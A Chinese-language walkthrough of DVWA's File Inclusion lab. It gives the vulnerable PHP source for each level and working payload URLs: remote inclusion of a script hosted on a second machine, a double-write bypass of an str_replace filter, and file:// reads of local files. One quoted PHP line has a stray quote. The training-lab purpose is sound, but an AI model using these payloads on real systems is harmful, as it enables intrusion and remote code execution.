DVWA-File Inclusion

0x01 文件包含漏洞介绍

File Inclusion,意思是文件包含(漏洞),是指服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

文件包含漏洞通常是配合文件上传进行webshell的获取。

文件包含漏洞利用:

1.本地文件包含 读取敏感文件。

2.远程文件包含 代码注入:

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行

代码执行,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径)。从而实现任意代码执行。

0x02 Low级别

代码如下:
<?php

// 用户希望显示的页面
$file = $_GET[ 'page' ];

?> 

对Low级别的学习:读取file4.php文件

读取方法:

http://192.168.84.136/vulnerabilities/fi/?page=file4.php

成功读取file4.php:

0x03 Medium级别

代码如下:

<?php

$file = $_GET[ 'page' ];

// 对输入的进行验证,只要page=后面存在下面的http://、https://、../、..就会将其替换为空。
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );

?> 

根据源代码,file4.php显然就不是我们的目标了,因为可以像Low级别一样,在Medium级别也能轻松读取file4.php,那么这里为什么会给出这样的代码呢?

因为Low级别也有另外的做法,而Medium就是防止这种做法的,说是防止,但还是可以绕过。

这里就说一下Low级别的另外一种做法:

我的DVWA的ip为192.168.84.136,现在我另外弄一个虚拟机,ip为192.168.84.129,并开启web服务,在目录下写一个phpinfo的文件

<?php
    phpinfo();
?>

再在DVWA的url处构造:

http://192.168.84.136/vulnerabilities/fi/?page=http://192.168.84.129/phpinfo.php

访问之后,出现以下界面:

这就是另外一种方法,当然还有其他的方法,这里就不再叙述。

回到medium级别,其代码过滤了http://等,那么我们就在mudiem级别试一试这种方法。

发现并没有出现phpinfo页面,这是因为,黑名单将http://过滤了,导致无法访问phpinfo.php文件。

所以我们需要绕过str_replace函数。这个函数的作用机制是在相应字符串中查找目标字符,然后将其替换为规定的字符,但是它只会从查找一次,不会多次查找,因此双写就能够绕过这个函数了。

构造url:

http://192.168.84.136/vulnerabilities/fi/?page=htthttp://p://192.168.84.129/phpinfo.php

这里的红色部分就是让str_replace函数去过滤替换的,替换为空之后,蓝色部分的就又组成了http://,而str_replace函数只会查找一次,所以蓝色部分组成的http://就不会被替换了。就达到了过滤的目的。

0x04 High级别

代码如下:

<?php

$file = $_GET[ 'page' ];

// 验证输入。fnmatch函数这里的作用是判断$file中必须是file开头,如果不是file开头且$file不是"include.php"就会报错。
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // 报错信息返回给用户
    echo "ERROR: File not found!";
    exit;
}

?> 

这里的代码就是file伪协议的利用。file4.php可以被直接读取,所以忽略。

使用http://来实验,出现以下情况:

明确告诉我,没有找到文件。因为防御的机制问题,没有以file开头。

file伪协议是用来访问本地文件系统的。一般用法是file://加文件的绝对路径和文件名。

首先我们在C盘下创建一个txt文件,里面的内容为ni hao!1234,其路径为C:key.txt。

构造url:

http://192.168.84.136/vulnerabilities/fi/?page=file://C:key.txt

结果为:

0x05 Impossible级别

代码如下:

<?php

$file = $_GET[ 'page' ];

// 只允许包含include.php和file1、2、3的文件
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    echo "ERROR: File not found!";
    exit;
}

?> 

0x06 总结

1.防御的话应该基于白名单进行防御,确保page参数传递的只能是固定的文件名。

2.文件包含与文件上传结合,可以直接上传图片文件,执行代码。需要注意。

原文地址:https://www.cnblogs.com/-an-/p/12371449.html